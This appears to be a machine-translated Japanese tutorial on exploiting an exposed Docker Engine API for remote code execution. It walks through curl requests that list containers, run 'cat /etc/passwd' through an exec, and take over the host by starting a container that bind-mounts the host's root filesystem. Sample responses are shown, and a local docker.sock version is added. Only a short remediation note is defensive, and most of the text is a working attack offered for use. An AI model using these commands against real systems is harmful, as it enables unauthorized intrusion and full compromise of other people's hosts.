RCEは、コンテナに乗ります
1)すべてのコンテナをリスト
最初のステップは、ホスト上のすべてのコンテナのリストを取得することです。これを行うには、次のHTTPリクエストを実行する必要があります。
GET /containers/json HTTP/1.1
Host: <docker_host>:PORT
curlコマンド:
curl -i -s -X GET http://<docker_host>:PORT/containers/json
回答:
HTTP/1.1 200 OK
Api-Version: 1.39
Content-Type: application/json
Docker-Experimental: false
Ostype: linux Server: Docker/18.09.4 (linux) Date: Thu, 04 Apr 2019 05:56:03 GMT Content-Length: 1780 [ { "Id":"a4621ceab3729702f18cfe852003489341e51e036d13317d8e7016facb8ebbaf", "Names":["/another_container"], "Image":"ubuntu:latest", "ImageID":"sha256:94e814e2efa8845d95b2112d54497fbad173e45121ce9255b93401392f538499", "Command":"bash", "Created":1554357359, "Ports":[], "Labels":{}, "State":"running", "Status":"Up 3 seconds", "HostConfig":{"NetworkMode":"default"}, "NetworkSettings":{"Networks": ...
「ID」フィールドの応答は、次のコマンドは、それを使用しますので注意してください。
2)のexecを作成します
次に、私たちは「実行」のインスタンスを作成する必要がコンテナ上で実行されます。あなたは、ここで実行するコマンドを入力することができます。
アイテム次のリクエストは、リクエスト内の変更を行う必要があります。
コンテナIDドッカーホストポートCmdを(この例ではI猫/ etc / passwdファイル)
POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188 { "AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["cat", "/etc/passwd"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true }
curlコマンド:
curl -i -s -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://<docker_host>:PORT/containers/<container_id>/exec
回答:
HTTP/1.1 201 Created
Api-Version: 1.39
Content-Type: application/json
Docker-Experimental: false
Ostype: linux Server: Docker/18.09.4 (linux) Date: Fri, 05 Apr 2019 00:51:31 GMT Content-Length: 74 {"Id":"8b5e4c65e182cec039d38ddb9c0a931bbba8f689a4b3e1be1b3e8276dd2d1916"}
「ID」フィールドの応答は、次のコマンドは、それを使用しますので注意してください。
3)スタートのexec
今、「実行」を作成し、我々はそれを実行する必要があります。
あなたは以下の項目の要求を変更する必要があります。
ExecのIDドッカーホストポート
POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
{ "Detach": false, "Tty": false }
curlコマンド:
curl -i -s -X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://<docker_host>:PORT/exec/<exec_id>/start
回答:
HTTP/1.1 200 OK
Content-Type: application/vnd.docker.raw-stream
Api-Version: 1.39
Docker-Experimental: false
Ostype: linux Server: Docker/18.09.4 (linux) root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
ホストを引き継ぐために、
それはホストファイルシステムにコマンドを実行することができるようにドッカーコンテナを起動し、容器の容積のホストルートに搭載されています。この記事で説明している脆弱性はあなたに完全な制御APIを可能にするので、あなたがドッキングウィンドウのホストを制御することができます。
注:dockerhost、ポートおよびContainerIDのを変更することを忘れないでください。
1)ダウンロードUbuntuのミラー
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/images/create?fromImage=ubuntu&tag=latest
2)マウントされたボリュームの使用は、コンテナを作成します
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
--data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}' \
http://<docker_host>:PORT/containers/create
3)スタートコンテナ
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/containers/<container_ID>/start
この時点で、あなたは新しいコンテナを実行するためにコードが実行される脆弱性のコマンドを使用することができます。あなたは、ホストOSのコマンドを実行したい場合にchroot / hostosを追加することを忘れないでください。
どのように修正するには?
避けてください(可能な場合)リモートまたはコンテナレベル露光docker.sockファイルで
リモートソケットファイルを提供する必要がある場合は、ここで操作を実行します
IPへの不正アクセスを防止するために、適切なセキュリティグループとファイアウォールルールを設定します
付録
ローカルコマンド
APIをリモートで使用することはできませんが、ローカルで使用できる場合はここでコマンドCURLのリストは、これらのコマンドを実行することができ、あります。
1)すべてのコンテナをリスト
sudo curl -i -s --unix-socket /var/run/docker.sock -X GET \
http://localhost/containers/json
2)のexecを作成します
sudo curl -i -s --unix-socket /var/run/docker.sock -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://localhost/containers/<container_id>/exec
3)スタートのexec
sudo curl -i -s --unix-socket /var/run/docker.sock -X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://localhost/exec/<exec_id>/start